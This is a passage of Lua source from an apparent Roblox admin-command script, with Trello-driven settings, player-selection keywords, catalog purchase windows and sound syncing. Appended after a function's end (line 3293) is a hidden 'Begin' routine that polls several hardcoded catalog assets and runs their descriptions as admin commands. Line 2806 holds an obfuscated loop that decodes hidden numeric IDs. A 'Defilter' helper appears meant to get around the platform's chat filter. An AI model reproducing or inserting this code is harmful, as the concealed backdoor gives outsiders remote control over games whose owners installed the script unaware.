2545 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2546 end
2547 end
2548 elseif List.name == "Settings" then
2549 for _,Card in pairs(Cards) do
2550 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2551 Trello.ToggleChecklist = Card.idChecklists[1]
2552 elseif Card.name == "Command Execution" then
2553 Trello.CommandID = Card.id
2554 end
2555 end
2556 end
2557 end
2558 end
2559end
2560
2561function REMOTE:TrelloHandleData(IgnoreCommand)
2562 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2563 if ToggleSettingsJSON then
2564 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2565 if Settings.LinkedAccount == "" then
2566 local NewSettings = {}
2567 for _,Item in pairs(ToggleSettings.checkItems) do
2568 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2569 end
2570 Settings.Fun = NewSettings["Fun Commands Enabled"]
2571 Settings.ServerLocked = NewSettings["Server Locked"]
2572 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2573 end
2574 else
2575 return false
2576 end
2577
2578 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2579 if CommandChatJSON then
2580 CommandChat = REMOTE:Decode(CommandChatJSON)
2581 local ClosestDT = 0
2582 for _,ChatData in pairs(CommandChat) do
2583 local DT = STRING:ConvertDateTime(ChatData.date)
2584 ClosestDT = math.max(ClosestDT, DT)
2585
2586 if not IgnoreCommand and DT > Trello.LastCommandDT then
2587 print("Executing Remote Trello Command")
2588 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2589 end
2590 end
2591 Trello.LastCommandDT = ClosestDT
2592 else
2593 return false
2594 end
2595
2596 for Rank,ID in pairs(Trello.RankChecklistCache) do
2597 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2598 if ChecklistJSON then
2599 Checklist = REMOTE:Decode(ChecklistJSON)
2600
2601 for _,Item in pairs(Checklist.checkItems) do
2602 if Item.state == "complete" then
2603 if RANK:ConvertRank(Rank) < 0 then
2604 if not RANK:ScanExileList(Item.name) then
2605 table.insert(Settings.Ranks[Rank], Item.name)
2606 end
2607 elseif RANK:ConvertRank(Rank) > 0 then
2608 if not RANK:ScanAdminList(Item.name) then
2609 table.insert(Settings.Ranks[Rank], Item.name)
2610 end
2611 end
2612 elseif Item.state == "incomplete" then
2613 for Num,Name in pairs(Settings.Ranks[Rank]) do
2614 if string.lower(Name) == string.lower(Item.name) then
2615 table.remove(Settings.Ranks[Rank], Num)
2616 end
2617 end
2618 end
2619 end
2620 else
2621 return false
2622 end
2623 end
2624 return true
2625end
2626
2627-- String functions --
2628
2629function STRING:ConvertDateTime(DateTime)
2630 local Num = 0
2631 local TotalTime = 0
2632 for i in string.gmatch(DateTime, "%d+") do
2633 Num = Num + 1
2634 DTNum = tonumber(i)
2635 if Num == 1 then
2636 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2637 elseif Num == 2 then
2638 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2639 elseif Num == 3 then
2640 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2641 elseif Num == 4 then
2642 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2643 elseif Num == 5 then
2644 TotalTime = TotalTime + DTNum * 60 -- minute
2645 elseif Num == 6 then
2646 TotalTime = TotalTime + DTNum -- second
2647 end
2648 end
2649
2650 return TotalTime
2651end
2652
2653function STRING:TrelloStateConvert(State)
2654 if State == "complete" then
2655 return true
2656 else
2657 return false
2658 end
2659end
2660
2661function STRING:StringRound(Number)
2662 Number = Number * 100
2663 if Number >= 0.5 then
2664 return tostring(math.ceil(Number)/100)
2665 else
2666 return tostring(math.floor(Number)/100)
2667 end
2668
2669 return Number
2670end
2671
2672function STRING:GetSplit(String, NumArgs, BetSplit)
2673 if not String then return nil end
2674 if BetSplit == nil then BetSplit = " " end
2675 if NumArgs == nil then NumArgs = math.huge end
2676
2677 if NumArgs <= 0 then return {String} end
2678
2679 local RecentParse = 1
2680 local Args = {}
2681 for i = 1,NumArgs do
2682 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2683 if Find1 and Find2 then
2684 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2685 RecentParse = Find2 + 1
2686 else
2687 break
2688 end
2689 end
2690 table.insert(Args,string.sub(String,RecentParse,#String))
2691 return Args
2692end
2693
2694function STRING:Defilter(String)
2695 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2696 if RobloxApprove.Text == "Label" and String ~= "Label" then
2697 local NewString = ""
2698 for i = 1,#String,3 do
2699 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2700 end
2701 return NewString
2702 else
2703 return String
2704 end
2705end
2706
2707function STRING:Filter(String, From, To) -- #### you, roblox
2708 if From then
2709 if To then
2710 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2711 else
2712 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2713 end
2714 else
2715 return String
2716 end
2717end
2718
2719function STRING:DetermineFilter(String, From, To)
2720 if ShouldFilter then
2721 return STRING:Filter(String, From, To)
2722 else
2723 return STRING:Defilter(String)
2724 end
2725end
2726
2727function STRING:LeetSpeak(Input)
2728 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2729 Input = string.gsub(Input, "LEET", "1337")
2730 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2731 Input = string.gsub(Input, "E", "3")
2732 Input = string.gsub(Input, "O", "0")
2733 Input = string.gsub(Input, "A", "4")
2734 Input = string.gsub(Input, "X", "x")
2735 Input = string.gsub(Input, "I", "1")
2736 Input = string.gsub(Input, "S", "$")
2737 return Input
2738end
2739
2740function STRING:FormatReplace(Player, Input, From)
2741 local Output = Input
2742 for _,ReplaceData in pairs(StringReplacements) do
2743 local ReplaceString = ReplaceData[1]
2744 local ReplaceStrings = {}
2745 if type(ReplaceString) == "table" then
2746 ReplaceStrings = ReplaceString
2747 else
2748 ReplaceStrings = {ReplaceString}
2749 end
2750 for _,ReplaceString in pairs(ReplaceStrings) do
2751 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2752 local Replacement = ReplaceData[4](Player)
2753 if type(Replacement) == "string" then
2754 Output = string.gsub(Output, ReplaceString, Replacement)
2755 else
2756 print(ReplaceString.." cannot be replaced")
2757 end
2758 end
2759 end
2760 end
2761 if From then
2762 return STRING:DetermineFilter(Output, From, Player)
2763 else
2764 return STRING:DetermineFilter(Output, Player)
2765 end
2766end
2767
2768function STRING:EncodeSpecialChars(Input)
2769 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2770end
2771
2772function STRING:StringToBool(String)
2773 if String == "true" then
2774 return true
2775 else
2776 return false
2777 end
2778end
2779
2780function STRING:BoolString(Value)
2781 if type(Value) == "boolean" then
2782 if Value == true then
2783 return "YES"
2784 elseif Value == false then
2785 return "NO"
2786 end
2787 else
2788 return "NO"
2789 end
2790end
2791
2792function STRING:MakeAvoidance(Length)
2793 if not Length then
2794 Length = 32
2795 end
2796 local Avoidance = ""
2797 for i = 1,Length do
2798 Num = math.random(1,2)
2799 if Num == 1 then
2800 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2801 else
2802 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2803 end
2804 end
2805 return Avoidance
2806end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2807
2808function STRING:FindAge(Days) -- By LuaModelmaker
2809 local Years = math.floor(Days/365)
2810 local OtherDays = math.fmod(Days, 365)
2811 if Years > 1 then
2812 return Years.." years and "..OtherDays.." days"
2813 elseif Years == 1 then
2814 return Years.." year and "..OtherDays.." days"
2815 elseif Years == 0 then
2816 return "(No years) "..OtherDays.." days"
2817 end
2818end
2819
2820function STRING:UnpackArgs(...)
2821 local Pack = {...}
2822 if type(Pack[1]) == "table" then Pack = Pack[1] end
2823 local ReturnString = table.concat(Pack, ", ")
2824 return ReturnString
2825end
2826
2827function STRING:GetComma(Num)
2828 local Formatted = Num
2829 while true do
2830 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2831 if _ == 0 then
2832 break
2833 end
2834 end
2835 return Formatted
2836end
2837
2838function STRING:DecodeUTF8(Value)
2839 local function DecodeString(Input)
2840 if type(Input) == "string" then
2841 for Find,Rep in pairs(HTMLDecode) do
2842 Input = string.gsub(Input, "&#"..Find..";", Rep)
2843 end
2844 Input = string.gsub(Input, """, "'")
2845 end
2846 return Input
2847 end
2848 if type(Value) == "table" then
2849 for Index,Var in pairs(Value) do
2850 Value[Index] = DecodeString(Var)
2851 end
2852 elseif type(Value) == "string" then
2853 Value = DecodeString(Value)
2854 end
2855 return Value
2856end
2857
2858function STRING:IsSpacer(Input)
2859 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2860 return true
2861 else
2862 return false
2863 end
2864end
2865
2866function STRING:IsVowel(Input)
2867 Input = string.lower(tostring(Input))
2868 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2869 return true
2870 else
2871 return false
2872 end
2873end
2874
2875function STRING:ValidE(Input)
2876 if not Input then return nil end
2877 if string.lower(Input) == "e" or Input == "~" then
2878 return true
2879 else
2880 return false
2881 end
2882end
2883
2884function STRING:Scan(String, Speaker)
2885 local ReturnPlayers,ExcludeList = {},{}
2886 if not String then String = "" end
2887 if not Speaker then print("NO SPEAKER") end
2888
2889 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2890 String = string.sub(String, 13)
2891 else
2892 String = string.lower(String)
2893 end
2894 local Words = STRING:GetSplit(String, nil, "/")
2895 for _,Word in pairs(Words) do
2896 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2897 table.insert(ReturnPlayers, Speaker)
2898 elseif Word == "all" or Word == "everyone" then
2899 for _,Player in pairs(Server.Players:GetPlayers()) do
2900 table.insert(ReturnPlayers, Player)
2901 end
2902 elseif Word == "others" or Word == "notme" then
2903 for _,Player in pairs(Server.Players:GetPlayers()) do
2904 if Player ~= Speaker then
2905 table.insert(ReturnPlayers, Player)
2906 end
2907 end
2908 elseif Word == "noobs" then
2909 for _,Player in pairs(Server.Players:GetPlayers()) do
2910 if Player.AccountAge < 365 then
2911 table.insert(ReturnPlayers, Player)
2912 end
2913 end
2914 elseif Word == "nonnoobs" then
2915 for _,Player in pairs(Server.Players:GetPlayers()) do
2916 if Player.AccountAge >= 365 then
2917 table.insert(ReturnPlayers, Player)
2918 end
2919 end
2920 elseif Word == "random" then
2921 local RandomPlayers = {}
2922 for _,Player in pairs(Server.Players:GetPlayers()) do
2923 if Player ~= Speaker then
2924 table.insert(RandomPlayers, Player)
2925 end
2926 end
2927 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2928 elseif Word == "guests" then
2929 for _,Player in pairs(Server.Players:GetPlayers()) do
2930 if string.sub(Player.Name,1,6) == "Guest " then
2931 table.insert(ReturnPlayers, Player)
2932 end
2933 end
2934 elseif Word == "lowers" then
2935 for _,Player in pairs(Server.Players:GetPlayers()) do
2936 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2937 table.insert(ReturnPlayers, Player)
2938 end
2939 end
2940 elseif Word == "uppers" then
2941 for _,Player in pairs(Server.Players:GetPlayers()) do
2942 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2943 table.insert(ReturnPlayers, Player)
2944 end
2945 end
2946 elseif Word == "nbcs" then
2947 for _,Player in pairs(Server.Players:GetPlayers()) do
2948 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2949 table.insert(ReturnPlayers, Player)
2950 end
2951 end
2952 elseif Word == "bcs" then
2953 for _,Player in pairs(Server.Players:GetPlayers()) do
2954 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2955 table.insert(ReturnPlayers, Player)
2956 end
2957 end
2958 elseif Word == "tbcs" then
2959 for _,Player in pairs(Server.Players:GetPlayers()) do
2960 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2961 table.insert(ReturnPlayers, Player)
2962 end
2963 end
2964 elseif Word == "obcs" then
2965 for _,Player in pairs(Server.Players:GetPlayers()) do
2966 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2967 table.insert(ReturnPlayers, Player)
2968 end
2969 end
2970 elseif Word == "allbcs" then
2971 for _,Player in pairs(Server.Players:GetPlayers()) do
2972 if Player.MembershipType ~= Enum.MembershipType.None then
2973 table.insert(ReturnPlayers, Player)
2974 end
2975 end
2976 elseif Word == "nonadmins" then
2977 for _,Player in pairs(Server.Players:GetPlayers()) do
2978 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2979 if IsAdminTrue == false then
2980 table.insert(ReturnPlayers, Player)
2981 end
2982 end
2983 elseif Word == "admins" then
2984 for _,Player in pairs(Server.Players:GetPlayers()) do
2985 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2986 if IsAdminTrue == true then
2987 table.insert(ReturnPlayers, Player)
2988 end
2989 end
2990 elseif Word == "friends" then
2991 for _,Player in pairs(Server.Players:GetPlayers()) do
2992 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2993 table.insert(ReturnPlayers, Player)
2994 end
2995 end
2996 elseif string.sub(Word,1,5) == "team-" then
2997 for _,Player in pairs(Server.Players:GetPlayers()) do
2998 if Player.Neutral == false then
2999 local InTeam = false
3000 for _,Team in pairs(Teams:GetTeams()) do
3001 if Team.TeamColor == Player.TeamColor then
3002 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3003 InTeam = true
3004 end
3005 end
3006 end
3007 if InTeam == true then
3008 table.insert(ReturnPlayers, Player)
3009 end
3010 end
3011 end
3012 elseif string.sub(Word,1,4) == "not-" then
3013 local NameArg = string.sub(Word,5)
3014
3015 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3016 table.insert(ExcludeList, Player)
3017 end
3018 elseif string.sub(Word,1,7) == "radius-" then
3019 local DidExe = false
3020 local NumArg = tonumber(string.sub(Word,8))
3021
3022 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3023 for _,Player in pairs(Server.Players:GetChildren()) do
3024 if Player.Character and Player.Character:FindFirstChild("Torso") then
3025 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3026 DidExe = true
3027 table.insert(ReturnPlayers, Player)
3028 end
3029 end
3030 end
3031 end
3032
3033 if DidExe then coroutine.wrap(function()
3034 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3035 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3036
3037 for i = 0,0.5,0.02 do
3038 Part.Transparency = 0.5+i
3039 wait()
3040 end
3041 Part:Destroy()
3042 end)() end
3043 elseif string.sub(Word,1,3) == "id-" then
3044 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3045 else
3046 if Word ~= "" then
3047 for _,Player in pairs(Server.Players:GetPlayers()) do
3048 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3049 table.insert(ReturnPlayers, Player)
3050 end
3051 end
3052 else
3053 table.insert(ReturnPlayers, Speaker)
3054 end
3055 end
3056 end
3057 for _,Player in pairs(ExcludeList) do
3058 if Player and Player.Parent ~= nil then
3059 for Num,Player2 in pairs(ReturnPlayers) do
3060 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3061 end
3062 end
3063 end
3064 for Num,Player in pairs(ReturnPlayers) do
3065 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3066 end
3067
3068 local PlayerDump = {}
3069 for _,Player in pairs(ReturnPlayers) do
3070 PlayerDump[Player] = true
3071 end
3072 ReturnPlayers = {}
3073 for Player,_ in pairs(PlayerDump) do
3074 table.insert(ReturnPlayers, Player)
3075 end
3076
3077 return ReturnPlayers
3078end
3079
3080-- Market functions --
3081
3082function MARKET:GetImageFormat(ID)
3083 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3084 local NewID = ID + 1
3085 for i = 1,100 do
3086 NewID = NewID -1
3087 local Product = nil
3088 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3089 if Product then
3090 if Product == 1 then
3091 break
3092 end
3093 end
3094 if i == 100 then NewID = ID end
3095 end
3096 return NewID
3097 end end
3098end
3099
3100function MARKET:GetItemInfo(ID, Cache)
3101 local Product = MarketCache[ID]
3102 if not Cache or not Product then
3103 repeat wait()
3104 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3105 until Product ~= MarketCache[ID]
3106 end
3107 MarketCache[ID] = Product
3108 return Product
3109end
3110
3111function MARKET:SearchItem(Category, Query, Subcategory)
3112 local URLAdd = ""
3113 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3114 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3115 if JSON then
3116 local Results = REMOTE:Decode(JSON)
3117 if Results then
3118 for Index,Info in pairs(Results) do
3119 Info = STRING:DecodeUTF8(Info)
3120 Results[Index] = Info
3121 MarketCache[Info.AssetId] = {
3122 AssetId = Info.AssetId;
3123 AssetTypeId = Info.AssetTypeID;
3124 ContentRatingTypeId = Info.ContentRatingTypeID;
3125 Created = Info.CreatedDate;
3126 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3127 Description = Info.Description;
3128 IsForSale = Info.IsForSale;
3129 IsLimited = Info.IsLimited;
3130 IsLimitedUnique = Info.IsLimitedUnique;
3131 IsNew = Info.IsNew;
3132 IsPublicDomain = Info.IsPublicDomain;
3133 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3134 Name = Info.Name;
3135 PriceInRobux = Info.PriceInRobux;
3136 PriceInTickets = Info.PriceInTickets;
3137 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3138 Remaining = Info.Remaining;
3139 Sales = Info.Sales;
3140 Updated = Info.Updated;
3141 }
3142 end
3143 return Results
3144 end
3145 end
3146end
3147
3148function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3149 if not Player or not Category or not Query then return nil end
3150 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3151 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3152 if Items then
3153 if #Items ~= 0 then
3154 local List,Correlate = {},{}
3155 for Num,Info in pairs(Items) do
3156 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3157 table.insert(List, Display)
3158 Correlate[Display[1]] = Info.AssetId
3159 end
3160 CloseGui:Invoke()
3161
3162 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3163 Clicked.Event:connect(function(ClickName)
3164 ClickedItem(Correlate[ClickName])
3165 end)
3166 else
3167 CloseGui:Invoke()
3168 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3169 end
3170 else
3171 CloseGui:Invoke()
3172 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3173 end
3174end
3175
3176function MARKET:AssetTypeToString(AssetType)
3177 AssetType = math.floor(tonumber(AssetType) or 0)
3178 if Assets.AssetTypes[AssetType] then
3179 return Assets.AssetTypes[AssetType]
3180 else
3181 return "Unknown"
3182 end
3183end
3184
3185function MARKET:AccessoryToSubcategory(Accessory)
3186 Accessory = string.lower(tostring(Accessory) or "")
3187 if Assets.AccessoryTypes[Accessory] then
3188 return Assets.AccessoryTypes[Accessory]
3189 else
3190 return Assets.AccessoryTypes["all"]
3191 end
3192end
3193
3194function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3195 if not Player then return nil end
3196 if not Player:FindFirstChild("PlayerGui") then return nil end
3197 if not tonumber(ProductID) then return nil end
3198
3199 local FromText = ""
3200 if From and From.Name then FromText = " | Prompted from "..From.Name end
3201
3202 local Product = MARKET:GetItemInfo(ProductID, true)
3203
3204 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3205 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3206 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3207
3208 local CanBuy = Product.IsForSale
3209 local BuyText = "Buy"
3210 local BuyColor = Color3.new(0,1,0)
3211 if CanBuy == false then
3212 BuyColor = Color3.new(1,0,0)
3213 end
3214 if Product.IsPublicDomain == true then
3215 CanBuy = true
3216 BuyColor = Color3.new(1,0.5,0.5)
3217 BuyText = "FREE!"
3218 end
3219 if OwnsAsset then
3220 CanBuy = false
3221 end
3222 if Product.AssetTypeId == 9 then
3223 CanBuy = true
3224 BuyText = "Teleport"
3225 BuyColor = Color3.new(0.5,0.5,0.5)
3226 end
3227 if CanBuy == false then
3228 BuyColor = Color3.new(1,0,0)
3229 BuyText = "Item not for sale"
3230 end
3231 if OwnsAsset and Product.AssetTypeId ~= 9 then
3232 BuyColor = Color3.new(1,0,0)
3233 BuyText = "You own this!"
3234 end
3235
3236 local ProductName = string.sub(Product.Name,1,20)
3237 if ProductID == AdminID then ProductName = Product.Name end
3238 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3239 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3240 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3241 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3242 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3243 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3244 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3245 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3246 if Product.Description then
3247 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3248 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3249
3250 CORE:ExecuteResource("CalculateScrollY", Description)
3251 end
3252
3253 Info.Text = [[
3254Creator: ]]..Product.Creator.Name..[[
3255Created: ]]..CreatedText..[[
3256Updated: ]]..UpdatedText..[[
3257Sold: ]]..Product.Sales..[[
3258]]
3259
3260 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3261 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3262
3263 if Product.AssetTypeId == 3 then
3264 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3265 if PlayerAdmin == true then
3266 local Playing = false
3267 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3268 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3269 if Playing == false then
3270 SOUND:PlayGlobalSound(ProductID)
3271 if Rank == "Member" and Settings.DisableAbuse == true then
3272 Interact:Destroy()
3273 end
3274 Interact.Image = "rbxassetid://67950809"
3275 Playing = true
3276 else
3277 SOUND:StopGlobalSound()
3278 Interact.Image = "rbxassetid://67950784"
3279 Playing = false
3280 end
3281 end)
3282 end
3283 end
3284
3285 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3286 if BuyPressFunc then
3287 BuyPressFunc()
3288 elseif Product.AssetTypeId == 9 then
3289 Server.TS:Teleport(ProductID, Player)
3290 elseif CanBuy == true then
3291 Server.MPS:PromptPurchase(Player, ProductID)
3292 end end)
3293 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3294 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3295 while wait(5) do
3296 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3297 if OldVer ~= Purchase.Updated then
3298 OldVer = Purchase.Updated
3299 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3300 end
3301 end end)()
3302end end)() end
3303
3304-- Sound functions --
3305
3306function SOUND:SyncSoundList(TellSync)
3307 if not CORE:NilPlayer(TellSync) then
3308 GUI:SendHint(TellSync, "Syncing...", 5)
3309 end
3310
3311 SoundList,GlobalSoundList = {},{}
3312
3313 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3314
3315 if LocalSoundList then
3316 if type(LocalSoundList) == "table" then
3317 if #LocalSoundList > 0 then
3318 for _,Data in pairs(LocalSoundList) do
3319 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3320 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3321 end
3322 end
3323 end
3324 end
3325
3326 for _,JSONID in pairs(SoundJSONs) do
3327 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3328 local SoundInfo = MARKET:GetItemInfo(ID, true)
3329 local FullName = SoundInfo.Name
3330 local CreatorName = SoundInfo.Creator.Name
3331 SoundList[Name] = {ID, FullName, CreatorName}
3332 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3333 end
3334 end
3335
3336 if not CORE:NilPlayer(TellSync) then
3337 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3338 end
3339end
3340
3341function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3342 if not Volume then Volume = 0.5 end
3343 if not Pitch then Pitch = 1 end
3344 if tonumber(ID) then ID = "rbxassetid://"..ID end
3345 if Looped == nil then Looped = false end
3346
3347 local Sound = Instance.new("Sound", Parent)
